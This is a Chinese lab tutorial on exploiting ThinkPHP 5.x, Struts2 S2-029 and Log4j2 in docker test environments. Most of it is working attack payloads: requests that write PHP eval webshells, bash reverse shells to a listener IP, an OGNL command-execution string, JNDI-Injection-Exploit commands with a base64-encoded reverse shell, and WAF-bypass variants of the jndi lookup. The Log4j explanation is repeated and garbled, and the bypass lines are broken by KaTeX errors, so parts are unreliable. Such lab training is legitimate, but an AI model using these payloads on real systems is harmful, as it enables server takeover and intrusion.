热门框架漏洞

文章目录

一、Thinkphp5.0.23 代码执行

1.thinkphp5框架

2.thinkphp5高危漏洞

根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。

3.漏洞特征

4.THinkphp5.0 远程代码执行--poc

Windows:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

POC参数解析

method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由

s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha

filter[]=system 覆盖变量

get[]=whoami 覆盖变量

_method=__construct 为了能够进入construct,从而覆盖变量

5.*TP5实验一(Windows)

a.搭建实验环境

b.测试phpinfo

利用system函数远程命令执行,通过phpinfo函数查看phpinfo()的信息;

写入phpinfo();

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > 1.php

c.写入shell

查看是否成功的写入shell

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_POST[123]); ?>" > shell.php

d.使用菜刀连接

6.*TP5实验二(Linux)

a.测试方法

Linux:_method=__construct&filter[]=system&method=get&get[]=pwd

TP5的验证码在/vendor/topthink/think-captcha 目录下,文件分别是Captcha.php 、CaptchaController.php 和helper.php 三个文件。可以直接通过http://localhost/项目名称/public/index.php/captcha 来进行访问。

b.测试phpinfo

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

c.写入shell

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

d.反弹shell(需进行url编码)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash±c+"bash±i+>%26+/dev/tcp/192.168.188.116/9999+0>%261"

7.任务:靶场thinkphp漏洞复现

https://vulhub.org/#/environments/

tp5 poc参考大全

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

二、Struts2远程代码执行

1.漏洞介绍

Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。

2.Struts2执行代码的原理

Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。

struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成"命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行"等,只不过需要精心构造不同的OGNL代码而已。

3.Struts2框架特征

查看被测应用系统的源码,URL接口地址以".action"".do"结尾或地址中包含"!"符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-2..**.jar或xwork-core-2..**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。

4.*S2-029漏洞复现(实验)

原理:Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。

在Struts2中,如下的标签就调用了OGNL进行取值。

parameters:
Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。 影响版本:Struts 2.0.0 -2.3.24.1(不包括2.3.20.3) 复现步骤:

1)拉取漏洞环境镜像到本地

命令:docker pull medicean/vulapps:s_struts2_s2-029

2)启动漏洞环境

命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029

3)访问xxx.xxx.xxx.xxx:8080/default.action

4)利用方法

方法一:工具利用

方法二:手工利用

poc:

(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

注意:有些利用的时候要记得url编码

5)*复现任务

S2-61

S2-45

S2-46

S2-29

三、log4j2远程代码执行

1.漏洞介绍

log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件。log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

影响版本

Log4j2.x<=2.14.1

2.LDAP和JNDI

LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库

LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。

所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,Exp是一个不存在的文件名

JNDI :JAVA NAMING AND Directory interface,Java命名和目录接口),则是Java中用于访问LDAP的API,是为了Java程序访问命名服务和目录服务而提供的统一API。

3.漏洞原理

我们在很多漏洞复现文章看到构造的payload是这样的 j n d i : l d a p : / / x x x . x x x . x x x . x x x : 1389 / E x p , 该漏洞是由于 A p a c h e L o g 4 j 2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 L o g 4 j 2 组件在处理程序日志记录时存在 J N D I 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 L o g 4 j 2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 L o g 4 j 2 漏洞总的来说就是:因为 L o g 4 j 2 默认支持解析 l d a p / r m i 协议(只要打印的日志中包括 l d a p / r m i 协议即可),并会通过名称从 l d a p 服务端其获取对应的 C l a s s 文件,并使用 C l a s s L o a d e r 在本地加载 L d a p 服务端返回的 C l a s s 类。 A p a c h e L o g 4 j 远程代码执行漏洞,正是由于组件存在 J a v a J N D I 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 A p a c h e L o g 4 j 2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用 j n d i 访问 l d a p 服务后, l d a p 服务返回了 c l a s s 攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了 L o g 4 j 2 可以对日志中的" {jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}, 该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。 Apache Log4j 远程代码执行漏洞,正是由于组件存在Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。 利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。 远程代码执行漏洞,是利用了Log4j2可以对日志中的" jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp,该漏洞是由于ApacheLog4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。ApacheLog4j远程代码执行漏洞,正是由于组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了Log4j2可以对日志中的"{}"进行解析执行,来进行攻击的。

4.*log4j2-漏洞复现(实验)

1)拉取docker环境

docker pull vulfocus/log4j2-rce-2021-12-09

2)启动环境-查看镜像

docker images

3)启动并端口映射

docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

4)测试步骤

1)正常来测试,发现这里主要对{}产生过滤。

2)将payload进行url编码。

生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。

/hello?payload=${jndi:ldap://p5pok7.dnslog.cn/exp}显示400,即错误的请求。

回到DNSLog页面刷新Refresh Record 便能查询道靶机递归查询日志的记录。

Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广

5.*log4j2-漏洞利用(实验)

利用JNDI注入工具在攻击机上开启JNDI服务器

1)准备JNDI注入工具

git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git

然后使用命令mvn clean package -DskipTests编译

或者直接使用:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

2)实验目标:在临时目录下生成文件

从上面可以看到,目前docker容器中/tmp目录中只有三个文件

3)启动JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/88888888888" -A "192.168.179.128"

注释:-C是执行的bash命令,后面是执行的具体命令,用双引号引起来-A 指服务器的IP

因为JDK版本的问题,我们选择的链接是rmi://192.168.179.128:1099/e9zac9

注意:这个链接每次运行JNDI-Injection-Exploit 时都会变化

4)传递payload

打开浏览器,用get传递payload,payload=${jndi:rmi://192.168.179.128:1099/e9zac9}

进行URL编码为%24%7Bjndi%3Armi%3A%2F%2F192.168.179.128%3A1099%2Fe9zac9%7D

5)JNDI接收请求

6)检查Docker容器,创建文件成功

7)反弹shell

反弹shell的操作与"在临时目录下生成文件"类似,反弹shell命令为

bash -i >& /dev/tcp/192.168.179.128/77770>&1

并且需要进行base64编码:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3OS4xMjgvNzc3NyAwPiYx

启动JNDI-Injection-Exploit 命令改为:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3OS4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.179.128"

并且需要在Kali另一个终端开启nc监听比如:nc -lvvp 7777

表示NC在7777端口上监听

其余操作与"在临时目录下生成文件"大同小异

6.log4j漏洞防护

1.升级最新版本的log4j组件

2.临时处理,过滤${},避免被执行命令

7.poc

${jndi:ldap://xxx.dnslog.cn/poc}

waf绕过
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::−n{::-d} : : − i : {::-i}: ::−i:{::-r} : : − m {::-m} ::−m{::-i}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}ndi:rmi://xxx.dnslog.cn/poc}

{jndi:rmi://xxx.dnslog.cn/poc} KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:jndi}😒{lower:rmi}😕/xxx.dnslog.cn/poc} KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 13: {lower:jndi}}̲:{lower:rmi}😕/xxx.dnslog.cn/poc} KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} l o w e r : n {lower:n} lower:n{lower:d}i:{lower:rmi}😕/xxx.dnslog.cn/poc}

相关推荐
Spring_java_gg2 小时前
如何抵御 Linux 服务器黑客威胁和攻击
linux·服务器·网络·安全·web安全
独行soc2 小时前
#渗透测试#SRC漏洞挖掘#深入挖掘XSS漏洞02之测试流程
web安全·面试·渗透测试·xss·漏洞挖掘·1024程序员节
newxtc3 小时前
【国内中间件厂商排名及四大中间件对比分析】
安全·web安全·网络安全·中间件·行为验证·国产中间件
mingzhi611 天前
渗透测试-快速获取目标中存在的漏洞(小白版)
安全·web安全·面试·职场和发展
安胜ANSCEN1 天前
加固筑牢安全防线:多源威胁检测响应在企业网络安全运营中的核心作用
网络·安全·web安全·威胁检测·自动化响应
超栈1 天前
蓝桥杯-网络安全比赛题目-遗漏的压缩包
前端·网络·sql·安全·web安全·职场和发展·蓝桥杯
黑龙江亿林等级保护测评1 天前
DDOS防护介绍
网络·人工智能·安全·web安全·智能路由器·ddos
kali-Myon1 天前
NewStarCTF2024-Week5-Web&Misc-WP
前端·python·学习·mysql·web安全·php·web
知孤云出岫1 天前
网络安全渗透实际案例
安全·web安全